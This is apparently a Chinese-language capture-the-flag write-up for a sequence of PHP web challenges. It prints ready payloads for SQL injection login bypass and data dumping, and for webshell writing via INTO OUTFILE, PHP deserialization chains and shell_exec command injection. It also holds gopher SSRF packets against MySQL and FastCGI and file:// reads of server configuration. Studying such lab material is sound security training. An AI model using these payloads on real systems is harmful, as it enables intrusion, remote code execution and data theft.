check.php
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
登录框存在sql注入
strcasecmp(str1,str2)
:比较字符串如果 str1 小于 str2 返回 < 0, 如果 str1 大于 str2 返回 > 0,如果两者相等,返回 0
strcasecmp($userpwd,$row['sds_password'])
:意思是只要经过SQL执行后的结果等于我们输入的pwd即可登录
由于没有任何过滤,可以使用union注入
userid=0' union select 1#&userpwd=1
登录进去即可拿到flag
另一个方法,union注入 写shell进去
userid=1' union select "" into outfile "/var/www/html/shell.php"#&userpwd=1
修改的地方:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
思路与上题一样,不过是输入的password经过了一点加密,构造一下就行
sql注入写shell也是没问题的,因为sql语句依旧是正常执行了
userid=1' union select "" into outfile "/var/www/html/shell.php"#&userpwd=1
对username进行了字符长度限制阻止这里注入,其他不变
但是sql文件里有账密的信息
这个admin:admin直接登录进去
dptadd.php存在注入点
insert没有过滤
然后定位到dpt.php插入的数据从sds_dpt查询数出来
insert into sds_dpt set sds_name='1',sds_address =(select database())#
就在这里进行注入
dpt_name=1',sds_address =(select database())#
# 得到 sds
dpt_name=2',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
# 得到 sds_dpt,sds_fl9g,sds_user
dpt_name=3',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#
# 得到 flag
dpt_name=4',sds_address =(select group_concat(flag) from sds_fl9g)#
增加了全局waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
似乎没有调用,与上题一样,换一种方式,有报错信息就试试报错注入
报错回显字符有限制 用substr
查库
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
查表
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
查字段
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag'),0x7e),1)#
查flag
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_flaag),1,30),0x7e),1)#
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_flaag),20,30),0x7e),1)#
waf过滤很多 不能注入了
多了个反序列化
class.php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
反序列化点在checklogin.php的cookie
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
利用起来很简单,file_put_contents
写马进去即可 ,然后cookie传入payload
class user{
public $username;
public $password;
public function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
}
$s = new user('shell.php','');
echo urlencode(serialize($s));
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
因为flag在数据库里,蚁剑连上后要连数据库
关键代码
//class.php
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
可以利用file_put_contents来写shell ,需要调用close()方法
//dao.php
dao类中的destruct()方法调用了 close()
index.php中有反序列化点
那么就在这里进行构造
dao::__destruct()-->log::close()
poc:
class log{
public $title = '1.php';
public $info = '';
}
class dao
{
private $conn;
public function __construct($conn){
$this->conn=$conn;
}
}
$s = new dao(new log());
echo base64_encode(serialize($s));
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
传入cookie的user参数
访问下index.php就可以生成文件了
与上题比较是 方法名改了,closelog()无法调用
放进seay里面扫一下
dao.php里面有个 shell_exec()
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
$this->config->cache_dir
可以构造,继续跟进config类
shell_exec()可以执行echo命令 写入shell
我们期望构造出 shell_exec('echo "" > 1.php;')
$cache_dir = '; echo "" > 1.php; '
继续跟进clearCache()
方法
logout.php存在 反序列化点并且调用了clearCache()
根据以上条件即可构造poc
class config{
public $cache_dir = '; echo "" > 1.php; ' ; 这里需要转义$符
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$s = new dao();
echo base64_encode(serialize($s));
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDQ6IjsgZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPiAxLnBocDsgIjt9fQ==
访问反序列化的入口文件:/controller/logout.php
这里加上了waf,只能匹配纯字母,所以这里不能利用了
seay也没扫出别的漏洞点,多了个checkVersion()
方法
跟进checkUpdate()
发现是存在ssrf
config.php 发现 用户root 密码空
可以通过gopher 来生成 打mysql的payload
继续查看哪里调用了checkVersion()
index.php ,与上题一样 ,需要反序列化调用到dao类
构造poc:
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$s = new dao();
echo base64_encode(serialize($s));
反序列化点index.php
需要拿shell,308的方法不行了,mysql 有密码了
代码是和308一样,不过不能通过ssrf打mysql了
这题是通过ssrf利用fastcgi,ssrf利用fastcgi此文章讲的很好
https://blog.csdn.net/weixin_39664643/article/details/114977217
FastCGI攻击需要满足三个条件:
1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
2. 知道题目环境中的一个PHP文件的绝对路径
3.PHP-FPM监听在本机9000端口
利用gopherus工具可以 FastCGI 执行任意命令
payload还是用上面的poc来反序列化传入
给的源码还是308,还是用fastcgi,这次直接写shell进去,因为flag文件不知道在哪
成功写入后可以直接找flag在var目录下
还可以使用file://协议读取配置文件 /etc/nginx/nginx.conf
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$s = new dao();
echo base64_encode(serialize($s));
4476端口对应着 /var/flag目录,有个index.html文件,这和我们连上蚁剑后知道的一样
直接ssrf访问这个端口
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$s = new dao();
echo base64_encode(serialize($s));